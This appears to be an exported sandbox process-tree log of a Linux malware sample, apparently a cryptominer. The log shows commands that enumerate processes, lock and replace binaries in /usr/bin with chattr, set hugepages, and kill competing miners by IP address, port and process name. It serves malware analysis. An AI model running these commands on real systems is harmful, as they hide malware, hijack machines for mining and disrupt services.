/bin/shsh -c "ps --no-header -p 2 o pid"3⤵
-
/bin/psps --no-header -p 2 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 3 o pid"3⤵
-
/bin/psps --no-header -p 3 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 4 o pid"3⤵
-
/bin/psps --no-header -p 4 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 5 o pid"3⤵
-
/bin/psps --no-header -p 5 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 6 o pid"3⤵
-
/bin/psps --no-header -p 6 o pid4⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 7 o pid"3⤵
-
/bin/psps --no-header -p 7 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 8 o pid"3⤵
-
/bin/psps --no-header -p 8 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 9 o pid"3⤵
-
/bin/psps --no-header -p 9 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 10 o pid"3⤵
-
/bin/psps --no-header -p 10 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 11 o pid"3⤵
-
/bin/psps --no-header -p 11 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 12 o pid"3⤵
-
/bin/psps --no-header -p 12 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 13 o pid"3⤵
-
/bin/psps --no-header -p 13 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 14 o pid"3⤵
-
/bin/psps --no-header -p 14 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 15 o pid"3⤵
-
/bin/psps --no-header -p 15 o pid4⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 16 o pid"3⤵
-
/bin/psps --no-header -p 16 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 17 o pid"3⤵
-
/bin/psps --no-header -p 17 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 18 o pid"3⤵
-
/bin/psps --no-header -p 18 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 19 o pid"3⤵
-
/bin/psps --no-header -p 19 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 20 o pid"3⤵
-
/bin/psps --no-header -p 20 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 21 o pid"3⤵
-
/bin/psps --no-header -p 21 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 22 o pid"3⤵
-
/bin/psps --no-header -p 22 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 23 o pid"3⤵
-
/bin/psps --no-header -p 23 o pid4⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 24 o pid"3⤵
-
/bin/psps --no-header -p 24 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 36 o pid"3⤵
-
/bin/psps --no-header -p 36 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 37 o pid"3⤵
-
/bin/psps --no-header -p 37 o pid4⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 69 o pid"3⤵
-
/bin/psps --no-header -p 69 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 70 o pid"3⤵
-
/bin/psps --no-header -p 70 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 71 o pid"3⤵
-
/bin/psps --no-header -p 71 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 72 o pid"3⤵
-
/bin/psps --no-header -p 72 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 73 o pid"3⤵
-
/bin/psps --no-header -p 73 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 74 o pid"3⤵
-
/bin/psps --no-header -p 74 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 76 o pid"3⤵
-
/bin/psps --no-header -p 76 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 77 o pid"3⤵
-
/bin/psps --no-header -p 77 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 78 o pid"3⤵
-
/bin/psps --no-header -p 78 o pid4⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 79 o pid"3⤵
-
/bin/psps --no-header -p 79 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 82 o pid"3⤵
-
/bin/psps --no-header -p 82 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 105 o pid"3⤵
-
/bin/psps --no-header -p 105 o pid4⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 115 o pid"3⤵
-
/bin/psps --no-header -p 115 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 116 o pid"3⤵
-
/bin/psps --no-header -p 116 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 143 o pid"3⤵
-
/bin/psps --no-header -p 143 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 148 o pid"3⤵
-
/bin/psps --no-header -p 148 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 159 o pid"3⤵
-
/bin/psps --no-header -p 159 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 206 o pid"3⤵
-
/bin/psps --no-header -p 206 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 213 o pid"3⤵
-
/bin/psps --no-header -p 213 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -eL o lwp"3⤵
-
/bin/psps --no-header -eL o lwp4⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 215 o pid"3⤵
-
/bin/psps --no-header -p 215 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 217 o pid"3⤵
-
/bin/psps --no-header -p 217 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 219 o pid"3⤵
-
/bin/psps --no-header -p 219 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 225 o pid"3⤵
-
/bin/psps --no-header -p 225 o pid4⤵
-
/bin/shsh -c "ps --no-header -eL o lwp"3⤵
-
/bin/psps --no-header -eL o lwp4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 226 o pid"3⤵
-
/bin/psps --no-header -p 226 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -eL o lwp"3⤵
-
/bin/psps --no-header -eL o lwp4⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 227 o pid"3⤵
-
/bin/psps --no-header -p 227 o pid4⤵
-
/bin/shsh -c "ps --no-header -eL o lwp"3⤵
-
/bin/psps --no-header -eL o lwp4⤵
-
/bin/shsh -c "ps --no-header -p 228 o pid"3⤵
-
/bin/psps --no-header -p 228 o pid4⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 246 o pid"3⤵
-
/bin/psps --no-header -p 246 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 248 o pid"3⤵
-
/bin/psps --no-header -p 248 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 252 o pid"3⤵
-
/bin/psps --no-header -p 252 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 255 o pid"3⤵
-
/bin/psps --no-header -p 255 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 274 o pid"3⤵
-
/bin/psps --no-header -p 274 o pid4⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 288 o pid"3⤵
-
/bin/psps --no-header -p 288 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 296 o pid"3⤵
-
/bin/psps --no-header -p 296 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 309 o pid"3⤵
-
/bin/psps --no-header -p 309 o pid4⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 310 o pid"3⤵
-
/bin/psps --no-header -p 310 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 312 o pid"3⤵
-
/bin/psps --no-header -p 312 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 313 o pid"3⤵
-
/bin/psps --no-header -p 313 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 319 o pid"3⤵
-
/bin/psps --no-header -p 319 o pid4⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 320 o pid"3⤵
-
/bin/psps --no-header -p 320 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -eL o lwp"3⤵
-
/bin/psps --no-header -eL o lwp4⤵
-
/bin/shsh -c "ps --no-header -p 321 o pid"3⤵
-
/bin/psps --no-header -p 321 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -eL o lwp"3⤵
-
/bin/psps --no-header -eL o lwp4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 479 o pid"3⤵
-
/bin/psps --no-header -p 479 o pid4⤵
- Reads CPU attributes
-
/bin/shsh -c "ps --no-header -p 480 o pid"3⤵
-
/bin/psps --no-header -p 480 o pid4⤵
-
/bin/shsh -c "ps --no-header -p 481 o pid"3⤵
-
/bin/psps --no-header -p 481 o pid4⤵
- Reads CPU attributes
-
/bin/grepgrep PID:2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$4}"2⤵
-
/bin/sleepsleep 12⤵
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Write file to user bin folder
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵
- Write file to user bin folder
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵
- Write file to user bin folder
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵
- Write file to user bin folder
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵
- Write file to user bin folder
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵
- Write file to user bin folder
-
/bin/mvmv /usr/bin/t /usr/bin/chattr2⤵
-
/bin/sleepsleep 12⤵
-
/bin/rmrm -f /tmp/.null2⤵
- Writes file to tmp directory
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵
-
/bin/grepgrep 185.71.65.2382⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep 140.82.52.872⤵
-
/bin/grepgrep :4432⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :232⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :4432⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/bin/grepgrep -v -2⤵
-
/bin/grepgrep :1432⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :22222⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/bin/grepgrep :33332⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :33892⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :44442⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :55552⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep :66662⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep -v -2⤵
-
/bin/grepgrep :66652⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :66672⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :77772⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/bin/grepgrep :84442⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/bin/grepgrep :33472⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
-
/usr/bin/awkawk "{print \$7}"2⤵
-
/bin/grepgrep :144332⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep :33332⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep :55552⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep "kworker -c\\"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep log_2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep systemten2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/local/sbin/killkill -9 103⤵
-
/usr/local/bin/killkill -9 103⤵
-
/usr/sbin/killkill -9 103⤵
-
/usr/bin/killkill -9 103⤵
-
/sbin/killkill -9 103⤵
-
/bin/killkill -9 103⤵
- Reads CPU attributes
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep netns2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/bin/grepgrep voltuned2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep darwin2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep /tmp/dl2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /tmp/ddg2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /tmp/pprt2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep /tmp/ppol2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep "/tmp/65ccE*"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep "/tmp/jmx*"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep "/tmp/2Ne80*"2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 45.76.122.922⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 51.38.191.1782⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep 51.15.56.1612⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 86s.jpg2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep aGTSGJJp2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep nMrfmnRa2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep PuNY5tm22⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep I0r8Jyyt2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep AgdgACUD2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/grepgrep uiZvwxG82⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep hahwNEdB2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep BtwXn5qH2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep 3XEzey2T2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep t2tKrCSZ2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep HD7fcBgg2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep zXcDajSs2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep 3lmigMo2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep AkMK4A22⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep AJ2AkKe2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep HiPxCJRS2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep http_0xCC0302⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep http_0xCC0312⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep http_0xCC0322⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep http_0xCC0332⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep C4iLM4L2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep aziplcr72qjhzvin2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /boot/vmlinuz2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep i4b503a52cc52⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep nqscheduler2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep rkebbwgqpl4npmm2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep "]"2⤵
-
/bin/grepgrep -v aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep 0kwti6ut420t2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep -v _2⤵
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v -2⤵
-
/bin/grepgrep -v /2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep "\\[^"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep rsync2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep watchd0g2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
- Writes file to system bin folder
-
